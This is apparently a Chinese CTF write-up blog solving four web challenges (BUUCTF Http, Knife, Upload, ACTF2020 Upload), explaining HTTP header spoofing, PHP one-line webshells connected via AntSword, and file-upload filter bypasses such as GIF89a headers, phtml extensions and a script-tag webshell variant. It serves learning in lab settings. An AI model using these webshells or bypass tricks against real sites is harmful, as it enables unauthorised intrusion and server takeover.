文章目录
[极客大挑战 2019]Http
根据题目名称大概了解到这道题可能是考察http协议的相关知识了,打开靶机,发现是一个招新页面,查看页面源代码也没有发现啥,既然都说是http相关的了,则看一下http请求头和响应头有什么线索吧,使用burp抓包,send to repeater查看请求头和响应头
似乎没有什么可以利用的地方,不过在响应头中可以看到服务器端使用的是Apache服务,版本是2.2.15,php版本是5.3.3,搜索了一下漏洞,居然还真有,但是这才哪到哪,web题目第一页都还没做完,结合题目名称,应该不至于考察这种形式,那会是什么呢,看下大佬writeup学习一下吧
原来在burp的target模块还能看到存在一个Secret.php页面,此外通过writeup看到,原来在网页源代码中也暗示了Secret.php文件的存在(没有仔细看)
Target模块:在SiteMap选项下,界面的左边通过树的形式汇聚了所有burp收集到的正在访问的web应用程序的url信息,界面的右边为url对应的详细信息,分为Contents(内容)和Issues(问题)两大部分,前者列出了url列表、对应的Request和Response;而Issues列出了问题列表以及每个问题的Advisory(报告);Scope选项用于设置Target Scope(目标范围);单击Filter面板可以通过设置一些过滤参数筛选需要的信息
直接访问Secret.php文件,来到一个新的界面,显示没有来自一个网站
结合http请求头字段的知识,可以知道应该要在请求头中添加一个Referer
字段指向网站中给出的网址,同样抓包send to repeater,修改请求头添加Referer
字段,go一下
Referer字段:表示请求发起来源url,也就是当前页面资源的父页面
发现提示说要使用"Syclover"浏览器,则可以通过User-Agent
字段来指定浏览器类型
User-Agent字段:携带当前的用户代理信息,一般包含浏览器、浏览器内核和操作系统的版本型号信息,与Server头是对应的,一个表达服务器信息,一个表达客户端信息
又说只能在本地阅读,可以通过X-Forwarded-For
字段来指定本地ip,拿到flag{798b359c-f3d0-4385-9d36-bd84796e002b}
X-Forwarded-For字段:用来识别通过http代理或负载均衡方式连接到web服务器的客户端最原始的ip地址的http请求头字段;当今多数缓存服务器的用户为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网,有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网,如果没有XFF,所有通过代理服务器的连接只会显示代理服务器的ip地址,而非连接发起的原始ip地址。这样的代理服务器实际上充当了匿名服务提供者的角色,如果连接的原始ip地址不可得,恶意访问的检测和预防难度将大大增加,简单来说,使用XFF就是用来传输最原始ip地址的,阻止匿名请求的,但是可以通过抓包来修改。
总结:
- 查看页面源代码一定要仔细
- burp的Target模块汇聚了所有burp收集到的正在访问的web应用程序的url信息
Referer
字段表示请求发起来源url;User-Agent
字段一般包含浏览器、浏览器内核和操作系统版本型号信息;X-Forwarded-For
字段用于标识通过代理服务器连接到web服务器的客户端的原始ip地址Referrer Policy: strict-origin-when-cross-origin
的作用是进行约束,对于同源的请求,会发送完整的url作为引用地址;在同等安全级别的情况下(https->https)发送文件的源作为引用地址;在降级的情况下(https->http)不发送此首部- ip伪造的方法
Client-Ip:127.0.0.1
X-Forwarded-For:127.0.0.1
Host:127.0.0.1
Referer:www.google.com
关于http常见请求头字段含义
http请求报文格式
http响应报文格式
常见的http请求头字段
[极客大挑战 2019]Knife
打开靶机,发现直接就给出了一句话木马
一句话木马是只需要一行代码的木马,配合webshell管理工具可以接管站点,以php一句话木马为例讲解一下一句话木马的原理
<?php@eval($_POST[“shell”]);?>
原理是通过post方法获取参数shell
的值,eval
函数奖字符串当作php代码执行,当传递shell=phpinfo()
时,则eval('phpinfo()')
,相当于执行phpinfo()
这个php函数,从而可以通过参数shell
的不同输入达到任意代码执行的目的;其中@
仅表示后面即使执行错误也不报错
直接打开蚁剑连接
蚁剑等webshell管理应用的原理:通过向服务器发送包含key参数的post请求,在服务器上执行任意命令,获得webshell权限
进入文件管理,点击一下根目录发现存在flag文件,点击找到flag{b5f9e6fe-cd24-4b8c-96f9-d5c6ef73522b}
总结:
- 本题比较简单
[极客大挑战 2019]Upload
从题目名称可以知道本题应该是考察文件上传的知识,打开靶机是一个上传文件的界面,确实是这样,查看源码没有什么可以利用的点
尝试上传jpg、jpeg、png、gif、txt、php格式的文件,页面都提示Not image!查看源码也没有什么可以利用的点
考虑到可能存在过滤的情况,百度一下文件上传的绕过技巧,原来对于文件上传的过滤还有多种情况
关于文件上传的过滤
- 客户端校验前端脚本扩展名:这是一种在客户端向服务器发送任何消息之前,就对本地文件进行检测判断是否是可上传的类型
Content-Type
检测文件类型:当浏览器在上传文件到服务器的时候,服务器对所上传文件的Content-Type
类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失败- 服务器端扩展名检测:当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测,若所上传的文件扩展名不符合黑白名单的限制,则无法上传成功
关于文件上传的绕过
- 对于前端脚本扩展名的检测,可以先修改一个合法的扩展名绕过前端的检测,再使用burp抓包对扩展名进行修改,以此来绕过前端的检测;此外也可以直接在检查页面将
selectFile
函数删掉 - 对于
Content-Type
检测文件类型的绕过,同样可以使用burp进行抓包修改数据包中文件的Content-Type
类型,使其符合白名单的规则,从而实现绕过 - 对于后端服务器扩展名检测的绕过,需要首先上传后端服务器允许的文件后缀名,比如test.php.abc,在文件上传到服务器上之后,再通过一些手段使得服务器对该文件识别成test.php
(1)服务器解析漏洞
Apache解析漏洞:即Apache识别文件类型是从右向左识别的,如果遇到不认识的扩展名会向前依次识别,直到遇到能识别的扩展名,因此test.php.abc在Apache解析漏洞下会被识别成test.php
iis5.x-6.x解析漏洞:服务器默认会把.asp、.asa目录下的文件都解析成asp文件
nginx解析漏洞
(2)00截断上传:即利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00
上传截断漏洞,即上传test.php.abc文件,并使用burp抓包,点击hex进入十六进制源码界面,找到test.php.abc中abc前面的点的位置,将点的十六进制编码从2e
改成00
,从而服务器端在识别test.php.abc文件时,在第二个点处截断,从而将文件识别成test.php
00截断需要在php<5.3版本下才能复现
(3)构造图片木马上传绕过:一般文件内容验证使用getimagesize()
函数检测,会判断文件是否是一个有效的文件图片,则可以将木马文件和图片进行合并,这样文件类型是图片,但是却包含了恶意代码内容
(4)大小写绕过:由于Windows对大小写不敏感,Linux对大小写敏感,因此若服务器内核是Windows则可以通过大小写绕过成功
(5)文件头绕过:可以在正常的一句话木马前面加上一些文件信息,如GIF89a
表示gif的文件幻数,绕过原理是若后端是用getimagesize()
函数来进行文件类型判断的话,加上文件幻数后会被认为是一个图片
(6)文件后缀名绕过:若后端是对后缀名进行黑名单校验,则可以尝试黑名单后缀名的漏网之鱼
jsp:jspx、jspf
asp:asa、cer、aspx
php:php、php3、php4、php5、php7、phtml、pht、phps
还有其他的一些绕过姿势,等待具体利用到了再做整理…
脑图来自ChengggNo1师傅,参考文章9
对于本题,看起来不像是前端文件类型的检测,尝试上传一个php一句话木马,抓包
其中Accept
字段描述客户端希望接收到的响应body数据类型、Accept-Language
表示客户端浏览器支持的语言、Accept-Encoding
表示浏览器希望http响应以哪种形式进行压缩、Content-Type
表示客户端告知服务端,自己即将发送的请求消息携带的数据结构类型从而让服务器端接收以后以合适的方式处理,这里multipart/form-data
是上传文件时使用的常见的媒体格式
尝试将上传的文件的Content-Type
进行修改,改为image/png
,发现页面的报错不再是NOT image了
这说明后端过滤了php后缀,尝试一下大小写绕过(其实在burp中可以看到响应报文中显示后端是ubuntu架构,对大小写敏感)、文件头添加GIF89a
文件幻数都没有成功(即也不是根据getimageseze()
函数简单判断文件类型),尝试上传图片木马又报错Not image!
重新回到php文件,既然php后缀被过滤,尝试php3、php4、php5,发现都被过滤,可能后端是基于黑名单的过滤,但是phps后缀仿佛没有被过滤,报错变得不一样了
百度之后发现&#x
是一种unicode编码后的汉字,可是我寻思我文件中也没有包含汉字啊,这哪来的,并且网上也没有对于这种编码方式的解码,解码之后还是原样
既然php木马不行,尝试一下asp一句话木马,修改Content-Type
类型并添加GIF89a
文件幻数头,发现成功上传了
一般文件上传成功后都要访问一下验证一下是否真的上传成功,但是访问后发现好像还是不太行,报错Not image!我寻思,可能还是被过滤,这次试试asp的图片木马上传试试,但是发现上传图片木马,修改Content-Type
类型并加上GIF89a
文件幻数,还说报错Not image!不管了,尝试一下蚁剑直接连接,测试一下发现报错返回数据为空
好菜,按照目前的情况来看,后端不仅存在针对php的相关后缀名过滤,还存在对上传文件头的检查以及对Content-Type
类型的检查(即上传asp木马并修改Content-Type
类型并添加GIF89a
文件幻数能够成功上传,虽然也不知道是不是真正成功上传);没有搞明白的是
- 当上传phps时没有出现No!php!的报错,而是报错文件中存在
<,$#x3F;
这样的字符,难道是我的一句话木马存在错误吗; - 访问test.asp文件时还是报错Not image!并且使用蚁剑连接时返回数据为空
看一下大佬的writeup学习一下吧
一句卧槽脱口而出,对于上面没有搞懂的两个问题,一个是因为只在burp中进行查看返回的响应报文内容,应该查看浏览器界面,就可以知道<,$#x3F;
到底指的是什么了,其实就是后端也过滤了<?
这两个字符
对于第二个问题,其实我在访问已上传的文件时候是直接在http://abca34fe-84cf-4cca-95f8-e23bdd1bff64.node4.buuoj.cn:81/upload_file.php
后拼接test.asp的,自然是不对的,此外,网站的服务器架构是php,使用asp一句话木马,可能不会被成功解析
对于<?
的绕过,可以通过修改php一句话木马的形式来绕过
GIF89a<script language="php">eval($_POST['shell'])</script>
其实前面使用的是phps后缀,但是发现phps后缀虽然能上传,但是却并没有访问权限,因此选择同样不在黑名单内的phtml后缀进行上传,后者可以成功访问(这里是通过猜测得知上传的文件存在于upload目录下的,至于为什么会猜测这么目录,大概就是经验了吧)
phps文件就是php的源代码文件,通常用于提供给用户查看php代码
phtml文件一般是指嵌入了php代码的html文件,但是同样也会作为php解析
再通过蚁剑连接就可以连接上了,并在根目录下存在flag文件,访问得到flag{b18173b1-843a-4fce-ac10-cd841e533a07}
总结:
- 本题考察了三个知识点:php文件后缀黑名单过滤的绕过(利用黑名单过滤的漏网之鱼绕过)、文件类型
Content-Type
过滤的绕过(利用burp抓包改Content-Type
字段绕过)、一句话木马<?
过滤的绕过(修改php一句话木马为特定的形式进行绕过) - 对于一句话木马
<?
过滤的绕过,可以将一句话木马修改成<script language="php">eval($_POST['shell'])</script>
进行绕过 - 其实最后也是差一步就要把题目做出来了,就这一道题花了两三个小时了,要是再坚持一下,说不定就自己做出来了
[ACTF2020 新生赛]Upload
又是一道文件上传的题目,打开靶机,当鼠标接近灯泡的时候会显示出文件上传的入口,花里胡哨的
首先尝试一下直接上传php文件,发现很快就弹窗不支持php文件并给出了支持的文件类型
说明存在前端校验函数,进入检查页面,定位,直接删除onsubmit
这个事件调用的checkFile()
函数
然后上传php文件抓包,但是很明显,后端也存在过滤,过滤了php文件
进行大小写绕过,发现居然成功上传了
浏览器访问一下,发现直接回显了源代码
修改一下test.php的文件内容,试着echo
一下东西,上传后访问,发现也只是把文件直接回显
<?php @eval(echo 111);?>
可能是因为大小写的原因,后端并没有将文件内容已php文件的形式进行解析,因此当我们访问pHp文件时,只是把文件内容直接回显,而没有进行php解析,这样是没办法使用蚁剑进行连接的;需要改变思路,既然php被过滤了,会不会像上题一样只是黑名单过滤,尝试上传一下phtml文件,发现居然成功上传了
浏览器访问一下上传的phtml文件,发现页面一片空白,有可能php一句话木马已经被解析了,使用蚁剑进行连接,我去,直接连上去了,在根目录下的flag文件中找到flag{fdeff97b-8cc4-4f2e-81be-8bbd468df8cd}
总感觉有点侥幸,看下大佬writeup学习一下(其实还尝试过上传图片木马,但是了解到图片木马需要配合文件包含漏洞进行php文件解析,因此并不适用于这里的情况,想到可以再上传一个php文件写入文件包含的漏洞包含执行一句话木马文件,但是文件包含漏洞的php文件也需要被解析才能实现一句话木马的解析,同样是php文件实现解析,那还不如直接想办法解析php一句话木马文件,不绕弯子)
原来后端代码是这样的,只过滤了php、php3、php4、php5这些后缀名而已,过滤的并不是很严格
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uplo4d");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5'])) {
exit('nonono~ Bad file!');
}
$new_file_name = md5($file_name).".".$ext;
$img_path = UPLOAD_PATH . '/' . $new_file_name;
if (move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = 'Upload Failed!';
}
echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}
?>
总结:
- 对于前端的绕过除了直接在检查页面删除前端校验函数外,还可以burp抓包修改后缀名(即上传时的后缀名能通过前端校验函数,在burp中修改成php后缀)
- 对于使用php一句话木马还是asp一句话木马,需要看网站后台的架构,例如本题,其自身就是php架构,上传asp一句话木马虽然能成功上传,但是在页面访问后是无法解析的,只是回显了文件内容
- 经过最后两道文件上传的题目,更深入了解了一句话木马
参考文章
- Burp Suite基础教学 之 Target. CSDN. Available at here. Accessed: 4 August 2023.
- BUUCTF__[极客大挑战 2019]Http_题解. CSDN. Available at here. Accessed: 4 August 2023.
- [极客大挑战 2019]Http 1. CSDN. Available at here. Accessed: 4 August 2023.
- 深入理解HTTP协议. 知乎. Available at here. Accessed: 5 August 2023.
- Http请求中常用请求头字段讲解. CSDN. Available at here. Accessed: 5 August 2023.
- ctf题目php文件上传如何绕过_ctf基本的文件上传与绕过学习. CSDN. Available at here. Accessed: 5 August 2023.
- 一句话图片木马. CSDN. Available at here. Accessed: 5 August 2023.
- 文件上传的各种绕过姿势. CSDN. Available at here. Accessed: 5 August 2023.
- 文件上传绕过各种姿势. CSDN. Available at here. Accessed: 5 August 2023.
- 【web】 Http请求中请求头Content-Type讲解. CSDN. Available at here. Accessed: 5 August 2023.
- BUUCTF [极客大挑战 2019] Upload. CSDN. Available at here. Accessed: 5 August 2023.
- [ACTF2020 新生赛]Upload. CSDN. Available at here. Accessed: 6 August 2023.